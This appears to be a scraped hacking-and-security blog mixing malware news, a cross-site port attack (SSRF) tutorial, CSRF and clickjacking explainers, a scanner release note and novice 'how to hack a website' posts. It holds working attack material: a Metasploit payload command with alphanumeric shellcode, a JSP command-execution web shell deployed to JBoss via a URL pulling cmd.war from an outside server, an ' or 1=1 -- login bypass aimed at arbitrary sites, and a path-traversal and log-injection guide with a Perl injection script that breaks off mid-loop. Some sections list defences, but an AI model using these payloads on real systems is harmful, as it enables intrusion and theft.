Trading Forex Website Targeted

A FOREX trading website called "Trading Forex," located at hxxp://tradingforex.com has been contaminated with a malicious Java applet that is designed to install malware on the systems of visiting surfers. 

FOREX is the foreign exchange market where international currencies are traded, and nowadays, it's used by millions of people around the world. 

The backdoor planted on Trading Forex is written in Visual Basic.Net and requires the Microsoft's .NET framework to be successfully installed and running on a victim's computer. This is an unusual approach.

Hackers intent on distributing malware through compromised websites often use pre-packaged tools, available through underground forums, most notably the widely used Blackhole Exploit kit.

Read more

Latest Linux malware Doing iFrame Injections

  

                New Linux malware can automatically hijack websites

       

 A few days ago, an interesting piece of Linux malware came up on the Full Disclosure mailing-list. It's an outstanding sample, not only because it targets 64-bit Linux platforms and uses advanced techniques to hide itself, but primarily because of the unusual functionality of infecting the websites hosted on attacked HTTP server - and therefore working as a part of drive-by download scenario.  It can automatically hijack websites hosted on compromised servers to attack web surfers with drive-by-downloads.

The software nasty targets machines running 64-bit GNU/Linux and a web server, and acts like a rootkit by hiding itself from administrators. A browser fetching a website served by the compromised system will be quietly directed via an HTML iframe to malicious sites loaded with malware to attack the web visitor's machine.

The malware module was specially designed for the kernel version 2.6.32-5-amd64, which happens to be the latest kernel used in 64-bit Debian Squeezy. The binary is more than 500k, but its size is due to the fact that it hasn't been stripped (i.e. it was compiled with the debugging information). Perhaps it's still in the development stage, because some of the functions don’t seem to be fully working or they are not fully implemented yet. 

The Linux malware is designed to load itself into memory on startup before hooking itself into kernel functions. Rootkit Linux Snakso-A, as Kaspersky Lab dubs the software, uses various ninja-style tricks to hide itself before crafting network data packets containing the HTML iframes; these are then tucked into the server's output to visiting web browsers. The malicious payload delivered to surfers through these iframes is pulled from a mastermind's command-and-control server.

An excellent, detailed analysis of this rootkit was recently posted on CrowdStrike blog .

Read more

.Eu Domains Are Being Used To Infect PCs

Some malicious .eu domains have been registered during November which are being used to infect PCs with malware via the Blackhole exploit kit. 

For example :

owzshm.eu
mpxuth.eu
ngpsjy.eu
wlwhhz.eu
jhzopj.eu
jqwwgm.eu
pmgugq.eu
jkiwhy.eu
nrxpxq.eu
vjtjpy.eu
xzjvhs.eu
xipuww.eu
kngipu.eu
ptkqzo.eu
pyrhox.eu

This type of tactic is pretty common, used by many threats in their attempts to evade security filtering.And what of this IP address,It has something of a long history of questionable activity, extending over many months. It currently hosts over 100 domains, whose purpose ranges from porn site gateways (referenced in spam) through to exploit sites.

 

Read more

XSPA : Cross Site Port Attack

An application is vulnerable to Cross Site Port Attacks if the application processes user supplied URLs and does not verify/sanitize the back end response received from remote servers before sending it back to the client. An attacker can send crafted queries to a vulnerable web application to proxy attacks to external Internet facing servers, intranet devices and the web server itself using the advertised functionality of the vulnerable web application. The responses, in certain cases, can be studied to identify service availability (port status, banners etc.) and even fetch data from remote services in unconventional ways.

XSPA allows attackers to abuse available functionality in most web applications to port scan intranet and external Internet facing servers, fingerprint internal (non-Internet exposed) network aware services, perform banner grabbing, identify web application frameworks, exploit vulnerable programs, run code on reachable machines, exploit web application vulnerabilities listening on internal networks, read local files using the file protocol and much more. XSPA has been discovered with Facebook, where it was possible to port scan any Internet facing server using Facebook’s IP addresses. Consecutively, XSPA was also discovered in several other prominent web applications on the Internet, including Google, Apigee, StatMyWeb, Mozilla.org, Face.com, Pinterest, Yahoo, Adobe Omniture and several others. We will take a look at the vulnerabilities that were present in the above mentioned web applications that could be used to launch attacks and perform port scans on remote servers and intranet devices using predefined functionality.

ATTACK'S :

XSPA allows attackers to target the server infrastructure, mostly the intranet of the web server, the web server itself and any public Internet facing server as well. Currently, I have come across the following five different attacks that can be launched because of XSPA:
1. Port Scanning remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases.
2. Exploiting vulnerable programs running on the Intranet or on the local web server
3. Fingerprinting intranet web applications using standard application default files & behavior
4. Attacking internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.)
5. Reading local web server files using the file:/// protocol handler.

Most web server architecture would allow the web server to access the Internet and services running on the intranet. The following visual depiction shows the various destinations to which requests can be made:

 

Port Scanning using XSPA :

Consider a web application that provides a common functionality that allows a user to input a link to an external image from a third party server. Most social networking sites have this functionality that allows users to update their profile image by either uploading an image or by providing a URL to an image hosted elsewhere on the Internet.

A user is expected (in an utopian world) to enter a valid URL pointing to an image on the Internet. URLs of the following forms would be considered valid:

http://example.com/dir/public/image.jpg

http://example.com/dir/images/

The second URL is valid, if the served Content-Type is an image (http://www.w3.org/Protocols/rfc1341/4_Content-Type.html). Based on the web application's server side logic, the image is downloaded on the server, a URL is created and then the image is displayed to the user, using the new server URL. So even if you specify the image to be at
http://example.com/dir/public/image.jpg
the final image url would be at
http://gravatar.com/user_images/username/image.jpg.

If an image is not found at the user supplied URL, the web application will normally inform the user of such. However, if the remote server hosting the image itself isn't found or the server exists and there is no HTTP service running then it gets tricky. Most web applications generate error messages that inform the user regarding the status of this request. An attacker can specify a non-standard yet valid URI according to the URI rfc3986 with a port specification. An example of these URIs would be the following:

http://example.com:8080/dir/images/

http://example.com:22/dir/public/image.jpg

http://example.com:3306/dir/images/

In all probability you would find a web application on port 8080 and not on 22 (SSH) or 3306 (MySQL). However, the backend logic of the webserver, in all observed cases, will connect to the user specified URL on the mentioned port using whatever APIs and framework it is built over as these are valid HTTP URLs. In case of most TCP services, banners are sent when a socket connection is created and since most banners (containing juicy information) are printable ascii, they can be displayed as raw HTML via the response handler. If there is some parsing of data on the server then non HTML data may not be displayed, in such cases, unique error messages, response byte size and response timing can be used to identify port status providing an avenue for port scanning remote servers using the vulnerable web application. An attacker can analyze the returned error messages and identify open and closed ports based on unique error responses. These responses may be raw socket errors (like "Connection refused" or timeouts) or may be customized by the application (like "Unexpected header found" or "Service was not reachable"). Instead of providing a URL to a remote server, URLs to localhost (http://127.0.0.1:22/image.jpg) can also be used to port scan the local server itself!

The following implementation of cURL can be abused to port scan devices:

 

<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
?>

The following is a screengrab of the above code retrieving robots.txt from http://www.twitter.com:

Request: http://www.twitter.com/robots.txt

For the same page, if a request is made to fetch data from a open port running a non HTTP service:

Request: http://scanme.nmap.org:22/test.txt

 For a closed port, an application specific error is displayed:

Request: http://scanme.nmap.org:25/test.txt

The different responses received allow us to port scan devices using the vulnerable web application server as a proxy. This can easily be scripted to achieve automation and cleaner results. I will be (in later posts) showing how this attack was possible on Facebook, Google, Mozilla, Pinterest, Adobe and Yahoo!

An attacker can also modify the request URLs to scan the internal network or the local server itself. For example:

Request: http://127.0.0.1:3306/test.txt

In most web applications on the Internet, barring a few, banner grabbing may not be possible, in which case application specific error messages, response byte size, server response times and changes in HTML source can be used as unique fingerprints to identify port status. The following screengrabs show port scanning via XSPA in Google's Webmasters web application. Note the application specific error messages that can be used to script the vulnerability and automate scanning of Internet/Intranet devices. Google has now fixed this issue (and my name was listed in the prestigious Google Hall of Fame for security researchers):

  

Attacks - Exploiting vulnerable network programs

 

Most developers in the real world write code without incorporating a lot of security. Which is why, even after a decade of being documented, threats like buffer overflows and format string vulnerabilities are still found in applications. For applications built in-house to perform specific tasks, security is almost never in the list of priorities, hence attacking them gives easy access to the internal network. XSPA allows attackers to send data to user controlled addresses and ports which could have vulnerable services listening on them. These can be exploited using XSPA to execute code on the remote/local server and gain a reverse shell (or perform an attacker desired activity).

If we look at the flow of an XSPA attack, we can see that we control the part after the port specification. In simpler terms, we control the resource that we are asking the web server to fetch from the remote/local server. The web server creates a GET (or POST, mostly GET) request on the backend and connects to the attacker specified service and issues the following HTTP request:

GET /attacker_controlled_resource HTTP/1.1
Host: hostname

 

If you notice carefully, we do not need to be concerned about most of the structure of the backend request as we control the most important part of it, the resource specification. For example, in the following screengrab you can see that a program listening on port 8987 on the local server accepts input and prints "Hello GET /test.txt HTTP/1.1, The Server Time is: [server time]". We can see that the "GET /test.txt HTTP/1.1" is sent by the web server to the program as part of its request creation process. If the program is vulnerable to a buffer overflow, as user input is being used to create the output, the attacker could pass an overly long string and crash the program. 

Request: http://127.0.0.1:8987/test.txt

 

Request: http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

  

One important point to be noted however is that HTTP being a text based protocol may not handle non-printable unicode characters (found in exploit code) properly. In such a situation, we can use msfencode (part of metasploit framework) to encode the exploit payload to alpha numeric using the following command:

msfpayload windows/exec CMD=calc.exe R | msfencode BufferRegister=ESP -e x86/alpha_mixed

The result? The following alphanumeric text (along with padding AAAAAAs, the static JMP ESP address and the shellcode) that can now be sent via the web application to the vulnerable program:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhmYUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xnk2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOmKON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA

Sucessful exploitation leads to calculator executing on the server. The shellcode can be replaced with other payloads as well (reverse shell perhaps?)

 

Attacks - Fingerprinting Intranet Web Applications 

Identifying internal applications via XSPA would be one of the first steps an attacker would take to get into the network from outside. Fingerprinting the type and version, if its a publicly available framework, blogging platform, application module or simply a customized public CMS, is essential in identifying vulnerabilities that can then be exploited to gain access.

Most publicly available web application frameworks have distinct files and directories whose presence would indicate the type and version of the application. Most web applications also give away version and other information through meta tags and comments inside the HTML source. Specific vulnerabilites can then be researched based on the results. For example, the following unique signatures help in identifying a phpMyAdmin, Wordpress and a Drupal instance respectively:

Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt

The following request attempts to identify the presence of a DLink Router:

Request: http://10.0.0.1/portName.js

Once the web application has been identified, an attacker can then research vulnerabilities and exploit vulnerable applications. In the next post we shall see how intranet web applications can be attacked and how servers can be abused using other protocols as well.

Attacking Internal Vulnerable Web Applications :

Most often than not, intranet applications lack even the most basic security allowing an attacker on the internal network to attack and access server resources including data and code. Being an intranet application, reaching it from the Internet requires VPN access to the internal network or specialized connectivity on the same lines. Using XSPA, however, an attacker can target vulnerable internal web applications via the Internet exposed web application. 

 A well documented hack using the JMX console, allows an attacker to deploy a war file containing JSP code that would allow command execution on the server. If an attacker has direct access to the JMX console, then deploying the war file containing the following JSP code is relatively straightforward:

<%@ page import="java.util.*,java.io.*"%>

<pre>

<% Process p = Runtime.getRuntime().exec("cmd /c " + request.getParameter("x"));

DataInputStream dis = new DataInputStream(p.getInputStream());

String disr = dis.readLine();

while ( disr != null ) {

out.println(disr);

disr = dis.readLine();

} %>

</pre>

Using the MainDeployer under jboss.system:service in the JMX Bean View we can deploy a war file containing a JSP shell. The MainDeployer can be found at the following address:

http://example_server:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer

Using the MainDeployer, for example, a war file named cmd.war containing a shell named shell.jsp can be deployed to the server and accessed via http://example_server:8080/cmd/shell.jsp. Commands can then be executed via shell.jsp?x=[command]. To perform this via XSPA we need to obviously replace the example_server with the IP/hostname of the server running JBoss on the internal network.

A small problem here that becomes a roadblock in performing this attack via XSPA is that the file deploy works via a POST request and hence we cannot craft a URL (atleast we think so) that would deploy the war file to the server. This can easily be solved by converting the POST to a GET request for the JMX console. On a test installation, we can identify the variables that are being sent to the JBoss server when the Main Deployer's deploy() function is called. Using your favorite proxy, or simply using the Firefox addon - Web Developer's "Convert POST to GET" functionality, we can construct a URL that would allow deploying of the cmd.war file to the server. We then only need to host the cmd.war file on an Internet facing server so that we can specify the cmd.war file URL as arg0. The final URL would look something like (assuming JBoss server is running on the same web server):

http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war

Use this URL as input to the XSPA vulnerable web application and if the application displays received responses from the backend, you should see something on the lines of the following:

 

 Then its a matter of requesting shell.jsp via the XSPA vulnerable web application. For example, the following input would return the directory listing on the JBoss server (assuming its Windows, for Linux, x=ls%20-al can be used)

http://127.0.0.1:8080/cmd/shell.jsp?x=dir 

 

 

We have successfully attacked an internal vulnerable web application from the Internet using XSPA. We can then use the shell to download a reverse connect program that would give higher flexibility over issuing commands. Similarily other internal applications vulnerable to threats like SQL Injection, parameter manipulation and other URL based attacks can be targeted from the Internet.

Attacks - Reading local files using file:/// protocol  

All the attacks that we saw till now make use of the fact that the XSPA vulnerable web application creates an HTTP request to the requested resource. The protocol in all cases was specified by the attacker. On the other hand, if we specify the file protocol handler, we maybe able to read local files on the server. 

HOW TO FIX :

There are multiple ways of mitigating this vulnerability, the most ideal and common techniques of thwarting XSPA, however, are listed below:
1. Response Handling - Validating responses received from remote resources on the server side is the most basic mitigation that can be readily implemented. If a web application expects specific content type on the server, programmatically ensure that the data received satisfies checks imposed on the server before displaying or processing the data for the client.

2. Error handling and messages - Display generic error messages to the client in case something goes wrong. If content type validation fails, display generic errors to the client like "Invalid Data retrieved". Also ensure that the message is the same when the request fails on the backend and if invalid data is received. This will prevent the application from being abused as distinct error messages will be absent for closed and open ports. Under no circumstance should the raw response received from the remote server be displayed to the client.

3. Restrict connectivity to HTTP based ports - This may not always be the brightest thing to do, but restricting the ports to which the web application can connect to only HTTP ports like 80, 443, 8080, 8090 etc. can lower the attack surface. Several popular web applications on the Internet just strip any port specifications in the input URL and connect to the port that is determined by the protocol handler (http - 80, https - 443).

4. Blacklist IP addresses - Internal IP addresses, localhost specifications and internal hostnames can all be blacklisted to prevent the web application from being abused to fetch data/attack these devices. Implementing this will protect servers from one time attack vectors. For example, even if the first fix (above) is implemented, the data is still being sent to the remote service. If an attack that does not need to see responses is executed (like a buffer overflow exploit) then this fix can actually prevent data from ever reaching the vulnerable device. Response handling is then not required at all as a request was never made.

5. Disable unwanted protocols - Allow only http and https to make requests to remote servers. Whitelisting these protocols will prevent the web application from making requests over other protocols like file:///, gopher://, ftp:// and other URI schemes.   

Read more

CSRF (cross site request forgeries )

               CSRF  (cross site request forgeries ) ATTACK

CSRF is an almost opposite type of attack. Rather than exploiting the trust that a user has for a particular site, CSRF exploits the trust that a site has for a particular user. In the case of XSS, the user is the victim. In the case of CSRF, the user is an accomplice.
Because CSRF involves a forged HTTP request, it is important to first understand a little bit about HTTP, the protocol that web clients and servers use to communicate. Web clients (browsers) send HTTP requests to web servers, and the servers return HTTP responses in reply. A request and its corresponding response make up an HTTP transaction.

The word CSRF itself means that the attack is done using a cross-site request; it’s “forged” because it’s invisible to the user. A cross-site request is one where a page loaded from one website makes a request to another site for resources that are part of the page (like images, for example). While it’s easy for a malicious site to have such HTML code in its pages, such cross-site requests can also be caused by viewing bulletin boards, forums, or social networking sites (for example) where users are allowed to post images with foreign URL sources — that is, the images are hosted on other sites. CSRF attacks are effective in situations which meet the following criteria:

• The victim has an active session on the target site.
• The victim is authenticated by implicit authentication mechanisms (like cookies or HTTP authentication) on the target site.

                

                   The differences between XSS and CSRF

Though CSRF seems similar to Cross-Site Scripting (XSS) at first, both are completely different attack vectors. Where XSS aims at inserting active code in an HTML document to either abuse client-side active scripting holes, or to send privileged information (e.g., authentication/session cookies) to an unknown evil website, CSRF aims to perform unwanted actions on a website where the victim has some prior relationship and authority.
Moreover, where XSS sought to steal your online trading cookies so an attacker could manipulate a victim’s account, CSRF seeks to use the victims’ cookies to force them to execute a trade without their knowledge or consent. While XSS attacks exploits the trust that a user has on the website, CSRF attacks exploit the trust that the website has in its user.

 

Types of CSRF attacks

CSRF attacks can be divided into two major categories — reflected and stored/local.

 

Reflected CSRF attacks

In a reflected CSRF attack, the attacker uses a system outside the application to expose the victim to the exploit link or content. This can be done using a blog, an email message, an instant message, a message-board posting, or even a flyer posted in a public place with a URL that a victim types in.
Reflected CSRF attacks will frequently fail, as users may not be currently logged into the target system when the exploits are tried. The trail from a reflected CSRF attack, however, may be under the attacker’s control, and could be deleted once the exploit is completed. The three attack scenarios we looked at earlier are examples of reflected CSRF attacks.

 

Local/stored CSRF attacks

A stored/local CSRF attack is one where the attacker can use the application itself to provide the victim the exploit link, or other content which directs the victim’s browser to perform attacker-controlled actions in the application. Stored CSRF vulnerabilities are more likely to succeed, since the user who receives the exploit content is almost certainly currently authenticated to perform actions.
Stored CSRF attacks also have a more obvious trail, which may lead back to the attacker, since the origin of the malicious HTTP request is hosted in the attacked website. Examples include bulletin boards and social sites where users are allowed to post images with foreign URL sources. These are harder to find and destroy.

 

Advanced uses of CSRF

The following advanced techniques that use CSRF attacks have been observed in recent years.

 

Bypassing CSRF protections with click-jacking

This recently-evolved technique can be used to bypass CSRF protection and submit POST method-based forms with attacker controlled data, using click-jacking. (See the highlight box on click-jacking for more information.) The best example of this attack is exploiting email update services. Such services are quite common in Web applications. In this, the attacker manages to force victims to update their e-mail IDs with that of the attacker, so that the attacker can then compromise the victims’ account by performing a password reset.
This attack can occur even if the Web application contains tokens for CSRF protection.

Click-jacking is an attack involving embedded objects on a maliciously crafted Web page. Using framed content, or that from Flash, Silverlight, or Java, the attacker places a transparent or invisible click button beneath the mouse, so that whenever the user clicks on something they see on the page, the user is also clicking to an unseen website that may contain malicious code. The attack can also take advantage of dynamic HTML and CSS (Cascading Style Sheets) code for further disguise.
The difference between CSRF and click-jacking is that in CSRF, the victim’s browser performs the attack (loading the state-changing URL directly) without the victim clicking to launch it, while in click-jacking, the user actually interacts with something, but the action is “hijacked” by placing a layer between the user and the page element that launches a legitimate action.

 

Safeguarding Against CSRF

Safeguarding your applications against CSRF is a bit more challenging than safeguarding them against XSS attacks, but there are a few guidelines that you can follow.

 

Use POST

Although it doesn't prevent CSRF, you should require POST for any request that performs an action. This also means using $_POST instead of $_REQUEST.

 

Require Verification

Although convenience is a hallmark of good design, if a single request can trigger an important action, the risk of CSRF is increased. For important actions, don't hesitate to ask the user for verification. For extremely sensitive actions, consider requiring the user to provide a password in order to authorize the action.

 

Use an Anti-CSRF Token

The root cause of CSRF is a failure to verify intent. In order to help verify intent, consider adding an anti-CSRF token to your forms. Consider Listing 2 as a substitute for the form used to post to forum.example.org. When a user requests this form, a new token is generated, saved in the user's session, and included in the form as a hidden form variable. Therefore, when a request is received by post.php, not only can $_POST['token'] be compared with $_SESSION['token'], but a timeout can also be applied to further minimize the risk. This tactic practically eliminates CSRF.

Read more

Browser Event Hijacking

You can easily hijack events that should get passed through to the browser. The example that I will be discussing here is the ctrl+f or ⌘+f combination. This ubiquitous key combination results in a search box of some type being displayed to the user. With browser and OS key bindings, there is a user expectation of continuity. We are conditioned as users to expect that pressing these key combinations will have a certain effect. The interruption of this continuity can have security implications.

                                      (Fake Browser Search Bar)

                                           (Real Browser Search Bar)

 JavaScript on the page hijacks the ctrl+f and ⌘+f combinations, presenting a search box that is nearly identical to the browser search box users would see running Google Chrome on OSX. While normally, JavaScript wouldn’t have access to the contents of the search box, the fake search box is obviously accessible to the malicious site.

The ability of a malicious site to interrupt the expected continuity of user interaction with a web browser constitutes a breach of user trust on the part of the web browser. Because the user trusts that this key combination will trigger a browser event, they will trust the search bar presented by the site and interact with it as they would with the browser. Other key combinations could be similarly attacked. For example, ctrl+s/⌘+s or ctrl+o/⌘+o could be hijacked and could display a fake dialog claiming that the user’s password is required for file-system access. Specific attack scenarios aside, it is problematic to have ambiguity about the boundaries between browser and web app. More generally, a lower trust component should not have the ability to affect the behavior of a higher trust component.

SOLUTION :

1. Place the browser search box in a part of the browser that   could not be confused with website content. 
2. Warn the user when a site attempts to call preventDefault on an event that is registered as a browser key binding.

 

Read more

Exploit Code For ASP.NET Flaw

A few days after Microsoft released a patch to fix a vulnerability in ASP.NET that could enable a denial-of-service attack, someone has released exploit code for the vulnerability.

The proof-of-concept exploit code was posted to the Full Disclosure mailing list and is available for download from GitHUb. Posted by a user named HybrisDisaster, the code is designed to exploit a recently discovered vulnerability in ASP.NET that's related to the way that the software handles certain HTTP post requests. The vulnerability was first disclosed in late December at the Chaos Communications Congress in Germany.

The problem isn't actually specific to ASP.NET, but affects a variety of languages and applications. Microsoft shipped an emergency patch for the flaw on Dec. 29, recommending that users install it as quickly as possible.

"This vulnerability could allow an anonymous attacker to efficiently consume all CPU resources on a web server, or even on a cluster of web servers. For ASP.NET in particular, a single specially crafted ~100kb HTTP request can consume 100% of one CPU core for between 90 – 110 seconds. An attacker could potentially repeatedly issue such requests, causing performance to degrade significantly enough to cause a denial of service condition for even mulch-core servers or clusters of servers."
The base cause of the problem is that when ASP.NET comes across a form submission with some specific characteristics, it will need to perform a huge amount of computations that could consume all of the server's resources.

Read more

Arachni v0.4

Arachni is a high-performance (Open Source) Web Application Security Scanner Framework written in Ruby.Arachni uses various techniques to compensate for the widely heterogeneous environment of web applications.

This includes a combination of widely deployed techniques (taint-analysis, fuzzing, differential analysis, timing/delay attacks) along with novel technologies (rDiff analysis, modular meta-analysis) developed specifically for the framework.
This allows the system to make highly informed decisions using a variety of different inputs; a process which diminishes false positives and even uses them to provide human-like insights into the inner workings of web applications.

This version includes lots of goodies, including:

• A new light-weight RPC implementation (No more XMLRPC)
• High Performance Grid (HPG) — Combines the resources of multiple nodes for lightning-fast scans
• Updated WebUI to provide access to HPG features and context-sensitive help
• Accuracy improvements and bugfixes for the XSS, SQL Injection and Path Traversal modules
• New report formats (JSON, Marshal, YAML)
• Cygwin package for Windows

New plugins

• ReScan — It uses the AFR report of a previous scan to extract the sitemap in order to avoid a redundant crawl.
• BeepNotify — Beeps when the scan finishes.
• LibNotify — Uses the libnotify library to send notifications for each discovered issue and a summary at the end of the scan.
• EmailNotify — Sends a notification (and optionally a report) over SMTP at the end of the scan.
• Manual verification — Flags issues that require manual verification as untrusted in order to reduce the signal-to-noise ratio.
• Resolver — Resolves vulnerable hostnames to IP addresses.

IF you want a slightly more detailed description of what’s changed you can check here, or view the ChangeLog.

INSTALLATION

CDE Package For LINUX

Arachni is released as a CDE package for your convinience.
CDE packages are self contained and thus alleviate the need for Ruby and other dependencies to be installed.
You can download the latest CDE package from the download page and escape the dependency hell.

Cygwin Package For WINDOWS

Arachni does not yet run natively on Windows systems, however until that day comes you can download a pre-configured Cygwin environment containing Arachni and its dependencies. All you need to do is download the self-extracting archive, select a directory for it, open it up and then execute the Cygwin batch file.

You will then be presented with a Bash shell, after that you'll be able to use Arachni as if you were on a Linux system.

You can download Arachni v0.4 here :

Windows – arachni-v0.4-cygwin.exe
Linux – arachni-v0.4-cde.tar.gz

Read more

How to make free website for newbies

IN THIS WAY U CAN MAKE A
WEBSITE LIKE-
YOU.co.cc
NOTE-WHEN YOU GO LINKS TO
WEBSITES GIVEN HERE ALL
SIGNUPS ARE FREE
i am going to share that how
make ur own a website.
1}-Gotohttp://www.co.cc
2}-register an account there.and
then activate it from mail u
received from support@co.cc
3}-then search for a domain like-
Hackerlov
and register that domain.{in co.cc
website}
4}-now goto-http://
www.000webhost.com
register there an account.
{they give 1.5 gb space for free
account.
UR ACCOUNT WILL BE ACTIVATED IN
48 HOURS}
5}-they will give you 2 server
names
ns1, ns2.
copy{remember}that names,
6}-again open co.cc and sign in.
7}-in manage domain option fill
server names.
8}-u can add anything to ur
website by going to
000webhost.com and signing in.
AND ENJOY UR FREE WEBSITE.
YOU CAN ALSO USE GOOGLE
ADSENSE FOR UR SITE.

Read more

easy way to hack a website for NEWBIES

If you have the html and javascript knowledge then you can access password protected websites. So you want to know how??

keep reading.....

* Open the website you want to hack. Provide wrong username-password in its log in form.(e.g : Username : me and Password: ' or 1=1 --)An error will occur saying wrong username-password. Now be preparedYour experiment starts from here...
* Right click anywhere on that error page =>> go to view source.
* There you can see the html codings with javascripts.
* There you find somewhat like this....<_form data-blogger-escaped-action="..login....">
* Before this login information copy the url of the site in which you are.(e.g :"<_form data-blogger-escaped-..........action="http://www.targetwebsite.com/login.......">")
* Then delete the javascript from the above that validates your information in the server.(Do this very carefully, ur success to hack the site depends upon this i.e how efficiently you delete the javascripts that validate ur account information)
* Then take a close look for "<_input data-blogger-escaped-name="password" data-blogger-escaped-type="password">"[without quotes] -> replace "<_type data-blogger-escaped-text="text"> " there instead of "<_type data-blogger-escaped-password="password">". See there if maxlength of password is less than 11 then increase it to 11 (e.g : if then write )
* Just go to file => save as and save it any where in your hardisk with ext.html(e.g: c:\chan.html)
* Reopen your target web page by double clicking 'chan.html' file that you saved in yourharddisk earlier.
* U see that some changes in current page as compared to original One. Don't get worried.
* Provide any username[e.g:hacker] and password[e.g:' or 1=1 --]Congrats!!!!!! You have successfully cracked the above website and entered into the account of Ist user saved in the server's database.

Please read "_form"="form" & "_type"="type" & "_input"="input" without quotes]

The above trick won't work on the websites using latest technique to protect there servers. Still you may find some websites to use this trick.

Enjoy !!!!

Read more

WEBSITE HACKING VIA LFI (Local File Inclusion)

Local File Inclusion (LFI) is when you have the ability to browse through the server by means of directory transversal. One of the most common uses of LFI is to discover the /etc/passwd file. This file contains the user information of a Linux system. Hackers find sites vulnerable to LFI the same way I discussed for RFI’s. Let’s say a hacker found a vulnerable site, www.target-site.com/index.php?p=about, by means of directory transversal he would try to browse to the /etc/passwd file:
www.target-site.com/index.php?p= ../../../../../../../etc/passwd
The ../ you up one directory and the amount to use depends where in the server you are located compared the location of the /etc/passwd file.
If the hacker is able to successfully get to the /etc/passwd file he would see a list similar to the one below.
Root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/log:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
Each line is divided into seven parts:
username:passwd:UserID:GroupID:full_name:directory:shell
If the password hash was shown, the hacker would be able to crack it and get access to the machine, but in our case the password isn’t shown. This means that the password is shadowed and in the /etc/shadow file which the hacker doesn’t have access to. If this was the case, the hacker would probably attempt to get access to the system another way, through log injection.
The log directories are located in different areas in different Linux distributions. Below is a list of the most common locations.
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log

../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
Below are the steps a hacker would take to take gain access to the system through log injection.
1. First the hacker would find what operating system version the target server is running and then search where the log files are located on that OS.
2. Next, through LFI the hacker would navigate to that file location. If he is displayed with a bunch of logs, then he may continue.
3. The hacker would then inject some PHP code into the logs by typing
after = in the URL. This will cause the PHP script to be logged because there is no file by that name. What this script will do is give the hacker shell access and allow him to execute system commands.
4. Now if the hacker goes back to the log file, he will see that his PHP script wasn’t parsed and instead converted to
%3C?%20passthru($_GET[cmd])%20?%3E
5. When you submitted the script, the browser automatically encoded the URL. Luckily there is a pearl script that can get around this problem. Below is the pearl script, edit the variables: $site, $path, $code, and $log to the appropriate information.
#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site=”www.vulnerablesite.com”;
$path=”/”;
$code=””;
$log = “../../../../../../../etc/httpd/logs/error_log”;
print “Trying to inject the code”;
$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die “\nConnection Failed.\n\n”;
print $socket “GET “.$path.$code.” HTTP/1.1\r\n”;
print $socket “User-Agent: “.$code.”\r\n”;
print $socket “Host: “.$site.”\r\n”;
print $socket “Connection: close\r\n\r\n”;
close($socket);
print “\nCode $code successfully injected in $log \n”;
print “\nType command to run or exit to end: “;
$cmd = ;
while($cmd !~ “exit”) {
$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die “\nConnection Failed.\n\n”;
